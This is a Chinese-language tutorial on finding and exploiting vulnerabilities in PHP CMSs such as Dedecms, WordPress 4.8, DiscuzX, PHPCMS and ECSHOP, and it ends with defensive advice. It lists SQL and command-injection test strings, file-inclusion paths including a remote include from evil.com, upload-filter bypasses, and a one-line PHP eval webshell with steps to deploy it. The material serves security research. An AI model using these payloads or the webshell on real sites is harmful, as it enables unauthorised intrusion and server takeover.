针对4类Web Cms漏洞额外的奖励征集计划[已结束]
字数 2772 2025-08-29 08:31:47

Web CMS漏洞挖掘与利用实战教学

一、活动背景与目标

本教学文档基于先知社区"4类Web CMS漏洞额外的奖励征集计划"活动内容,旨在指导安全研究人员如何针对主流Web CMS系统进行有效的漏洞挖掘与利用。

目标CMS系统

  • Dedecms (V5.7 SP2正式版)
  • WordPress 4.8.x
  • 微擎 1.0
  • DiscuzX (x3.4, x3.3)
  • PHPCMS v9
  • ECSHOP 3.6

二、漏洞类型详解

1. SQL注入漏洞

攻击原理

  • 通过构造恶意SQL语句,绕过应用程序的输入验证
  • 利用未正确过滤的用户输入直接拼接SQL查询

挖掘方法

  • 寻找GET/POST参数、Cookie、HTTP头等用户可控输入点
  • 测试参数是否直接用于数据库查询
  • 使用单引号(')、双引号(")、反斜杠(\)等测试输入过滤
  • 布尔盲注、时间盲注、报错注入等多种技术测试

2. 命令执行漏洞

攻击原理

  • 应用程序将用户输入直接传递给系统命令执行函数
  • 常见危险函数:system(), exec(), passthru(), shell_exec(), eval()

挖掘方法

  • 查找调用系统命令的函数
  • 测试参数是否未经充分过滤直接拼接命令
  • 尝试使用命令分隔符:;&&|||\n
  • 测试反引号(`)执行

3. 文件包含漏洞

攻击原理

  • 动态包含文件时未验证文件路径
  • 分为本地文件包含(LFI)和远程文件包含(RFI)

挖掘方法

  • 查找include(), require(), include_once(), require_once()等函数调用
  • 测试参数是否可控并用于文件包含
  • 尝试包含系统文件:/etc/passwdC:\Windows\win.ini
  • 尝试使用php伪协议:php://filter/convert.base64-encode/resource=index.php

4. 文件上传Getshell漏洞

攻击原理

  • 上传功能未充分验证文件类型、内容或扩展名
  • 上传恶意脚本文件(如PHP)并执行

挖掘方法

  • 寻找所有文件上传功能点
  • 测试绕过文件类型验证的方法:
    • 修改Content-Type
    • 添加文件头(GIF89a)
    • 双扩展名(.php.jpg)
    • 大小写绕过(.PhP)
    • 空字节截断(%00)
  • 测试解析漏洞:IIS6.0分号解析、Apache解析漏洞等

三、各CMS系统重点审计方向

1. Dedecms V5.7 SP2

历史漏洞参考

  • member/edit_fullinfo.php SQL注入
  • plus/feedback.php SQL注入
  • include/dedesql.class.php SQL注入
  • uploads/dede/action/文件上传漏洞

审计要点

  • 会员中心功能模块
  • 模板管理功能
  • 采集功能模块
  • 文件上传处理逻辑

2. WordPress 4.8.x

历史漏洞参考

  • REST API未授权内容修改
  • 插件/主题编辑器代码执行
  • 媒体库文件上传绕过
  • XML-RPC API滥用

审计要点

  • REST API端点
  • 自定义短代码处理
  • 插件/主题更新机制
  • 媒体文件处理逻辑

3. 微擎 1.0

历史漏洞参考

  • web/index.php路由解析问题
  • 模块安装过程中的文件写入
  • 数据库备份功能命令注入
  • 缓存文件写入漏洞

审计要点

  • 模块安装/更新流程
  • 系统备份恢复功能
  • 路由解析逻辑
  • 文件缓存机制

4. DiscuzX (x3.3/x3.4)

历史漏洞参考

  • uc_client目录跨站脚本
  • 头像上传功能绕过
  • 数据库备份功能命令注入
  • 模板解析漏洞

审计要点

  • UCenter整合功能
  • 头像上传处理逻辑
  • 模板解析引擎
  • 插件机制

5. PHPCMS v9

历史漏洞参考

  • phpcms/modules/content/down.php SQL注入
  • phpcms/modules/search/index.php SQL注入
  • phpcms/modules/wap/index.php 文件包含
  • 会员中心文件上传漏洞

审计要点

  • 内容下载功能
  • 搜索功能模块
  • WAP模块处理逻辑
  • 会员中心功能

6. ECSHOP 3.6

历史漏洞参考

  • flow.php SQL注入
  • user.php SQL注入
  • 后台模板管理代码执行
  • 商品图片上传漏洞

审计要点

  • 购物车流程处理
  • 用户注册/登录功能
  • 后台模板编辑功能
  • 商品管理功能

四、漏洞挖掘实战技巧

1. 代码审计方法

  1. 入口点定位

    • 全局搜索$_GET$_POST$_REQUEST等超全局变量
    • 查找包含用户输入的变量传递过程
  2. 危险函数追踪

    grep -rn "eval(" *
    grep -rn "system(" *
    grep -rn "include(" *
    grep -rn "mysql_query(" *
    
  3. 数据流分析

    • 从用户输入到危险函数的完整路径追踪
    • 检查中间是否有充分的过滤和验证

2. 黑盒测试技巧

  1. SQL注入测试

    ' AND 1=1 --
    ' AND 1=2 --
    ' OR '1'='1
    " OR 1=1 --
    
  2. 命令注入测试

    ;id
    |id
    &&id
    `id`
    $(id)
    
  3. 文件包含测试

    ?file=../../../../etc/passwd
    ?page=php://filter/convert.base64-encode/resource=index.php
    ?path=http://evil.com/shell.txt
    
  4. 文件上传测试

    • 修改Content-Type为image/jpeg
    • 添加GIF89a文件头
    • 使用双扩展名:shell.php.jpg
    • 尝试空字节截断:shell.php%00.jpg

五、漏洞利用与防御

1. 漏洞利用示例

案例1:Dedecms文件上传Getshell

  1. 寻找会员中心文件上传功能
  2. 上传图片马,内容为<?php @eval($_POST['cmd']);?>
  3. 使用文件包含漏洞包含上传的图片
  4. 通过中国菜刀等工具连接webshell

案例2:WordPress插件编辑器代码执行

  1. 获取管理员权限或利用CSRF
  2. 访问外观->编辑主题
  3. 修改主题文件插入恶意代码
  4. 访问任意页面触发代码执行

2. 防御建议

  1. 输入验证

    • 所有用户输入都应视为不可信的
    • 使用白名单验证而非黑名单
  2. 参数化查询

    • 使用PDO或mysqli预处理语句
    • 避免直接拼接SQL查询
  3. 文件上传安全

    • 验证文件类型和内容
    • 重命名上传文件
    • 存储在非web可访问目录
  4. 安全配置

    • 禁用危险函数:disable_functions = exec,system,passthru...
    • 关闭不必要的PHP特性:allow_url_include = Off
  5. 权限控制

    • 最小权限原则
    • 文件系统权限严格控制

六、参考资源

  1. 阿里云安全漏洞标准:https://help.aliyun.com/knowledge_detail/40065.html
  2. OWASP Top 10漏洞指南
  3. 各CMS官方安全公告
  4. CVE漏洞数据库

通过本教学文档,安全研究人员可以系统性地了解主流Web CMS系统的漏洞挖掘方法,提高漏洞发现的效率和准确性。在实际操作中,请遵守法律法规,仅在授权范围内进行安全测试。

Web CMS漏洞挖掘与利用实战教学 一、活动背景与目标 本教学文档基于先知社区"4类Web CMS漏洞额外的奖励征集计划"活动内容,旨在指导安全研究人员如何针对主流Web CMS系统进行有效的漏洞挖掘与利用。 目标CMS系统 : Dedecms (V5.7 SP2正式版) WordPress 4.8.x 微擎 1.0 DiscuzX (x3.4, x3.3) PHPCMS v9 ECSHOP 3.6 二、漏洞类型详解 1. SQL注入漏洞 攻击原理 : 通过构造恶意SQL语句,绕过应用程序的输入验证 利用未正确过滤的用户输入直接拼接SQL查询 挖掘方法 : 寻找GET/POST参数、Cookie、HTTP头等用户可控输入点 测试参数是否直接用于数据库查询 使用单引号(')、双引号(")、反斜杠(\)等测试输入过滤 布尔盲注、时间盲注、报错注入等多种技术测试 2. 命令执行漏洞 攻击原理 : 应用程序将用户输入直接传递给系统命令执行函数 常见危险函数:system(), exec(), passthru(), shell_ exec(), eval() 挖掘方法 : 查找调用系统命令的函数 测试参数是否未经充分过滤直接拼接命令 尝试使用命令分隔符: ; 、 && 、 || 、 | 、 \n 测试反引号( ` )执行 3. 文件包含漏洞 攻击原理 : 动态包含文件时未验证文件路径 分为本地文件包含(LFI)和远程文件包含(RFI) 挖掘方法 : 查找include(), require(), include_ once(), require_ once()等函数调用 测试参数是否可控并用于文件包含 尝试包含系统文件: /etc/passwd 、 C:\Windows\win.ini 尝试使用php伪协议: php://filter/convert.base64-encode/resource=index.php 4. 文件上传Getshell漏洞 攻击原理 : 上传功能未充分验证文件类型、内容或扩展名 上传恶意脚本文件(如PHP)并执行 挖掘方法 : 寻找所有文件上传功能点 测试绕过文件类型验证的方法: 修改Content-Type 添加文件头(GIF89a) 双扩展名(.php.jpg) 大小写绕过(.PhP) 空字节截断(%00) 测试解析漏洞:IIS6.0分号解析、Apache解析漏洞等 三、各CMS系统重点审计方向 1. Dedecms V5.7 SP2 历史漏洞参考 : member/edit_ fullinfo.php SQL注入 plus/feedback.php SQL注入 include/dedesql.class.php SQL注入 uploads/dede/action/文件上传漏洞 审计要点 : 会员中心功能模块 模板管理功能 采集功能模块 文件上传处理逻辑 2. WordPress 4.8.x 历史漏洞参考 : REST API未授权内容修改 插件/主题编辑器代码执行 媒体库文件上传绕过 XML-RPC API滥用 审计要点 : REST API端点 自定义短代码处理 插件/主题更新机制 媒体文件处理逻辑 3. 微擎 1.0 历史漏洞参考 : web/index.php路由解析问题 模块安装过程中的文件写入 数据库备份功能命令注入 缓存文件写入漏洞 审计要点 : 模块安装/更新流程 系统备份恢复功能 路由解析逻辑 文件缓存机制 4. DiscuzX (x3.3/x3.4) 历史漏洞参考 : uc_ client目录跨站脚本 头像上传功能绕过 数据库备份功能命令注入 模板解析漏洞 审计要点 : UCenter整合功能 头像上传处理逻辑 模板解析引擎 插件机制 5. PHPCMS v9 历史漏洞参考 : phpcms/modules/content/down.php SQL注入 phpcms/modules/search/index.php SQL注入 phpcms/modules/wap/index.php 文件包含 会员中心文件上传漏洞 审计要点 : 内容下载功能 搜索功能模块 WAP模块处理逻辑 会员中心功能 6. ECSHOP 3.6 历史漏洞参考 : flow.php SQL注入 user.php SQL注入 后台模板管理代码执行 商品图片上传漏洞 审计要点 : 购物车流程处理 用户注册/登录功能 后台模板编辑功能 商品管理功能 四、漏洞挖掘实战技巧 1. 代码审计方法 入口点定位 : 全局搜索 $_GET 、 $_POST 、 $_REQUEST 等超全局变量 查找包含用户输入的变量传递过程 危险函数追踪 : 数据流分析 : 从用户输入到危险函数的完整路径追踪 检查中间是否有充分的过滤和验证 2. 黑盒测试技巧 SQL注入测试 : 命令注入测试 : 文件包含测试 : 文件上传测试 : 修改Content-Type为image/jpeg 添加GIF89a文件头 使用双扩展名:shell.php.jpg 尝试空字节截断:shell.php%00.jpg 五、漏洞利用与防御 1. 漏洞利用示例 案例1:Dedecms文件上传Getshell 寻找会员中心文件上传功能 上传图片马,内容为 <?php @eval($_POST['cmd']);?> 使用文件包含漏洞包含上传的图片 通过中国菜刀等工具连接webshell 案例2:WordPress插件编辑器代码执行 获取管理员权限或利用CSRF 访问外观->编辑主题 修改主题文件插入恶意代码 访问任意页面触发代码执行 2. 防御建议 输入验证 : 所有用户输入都应视为不可信的 使用白名单验证而非黑名单 参数化查询 : 使用PDO或mysqli预处理语句 避免直接拼接SQL查询 文件上传安全 : 验证文件类型和内容 重命名上传文件 存储在非web可访问目录 安全配置 : 禁用危险函数: disable_functions = exec,system,passthru... 关闭不必要的PHP特性: allow_url_include = Off 权限控制 : 最小权限原则 文件系统权限严格控制 六、参考资源 阿里云安全漏洞标准:https://help.aliyun.com/knowledge_ detail/40065.html OWASP Top 10漏洞指南 各CMS官方安全公告 CVE漏洞数据库 通过本教学文档,安全研究人员可以系统性地了解主流Web CMS系统的漏洞挖掘方法,提高漏洞发现的效率和准确性。在实际操作中,请遵守法律法规,仅在授权范围内进行安全测试。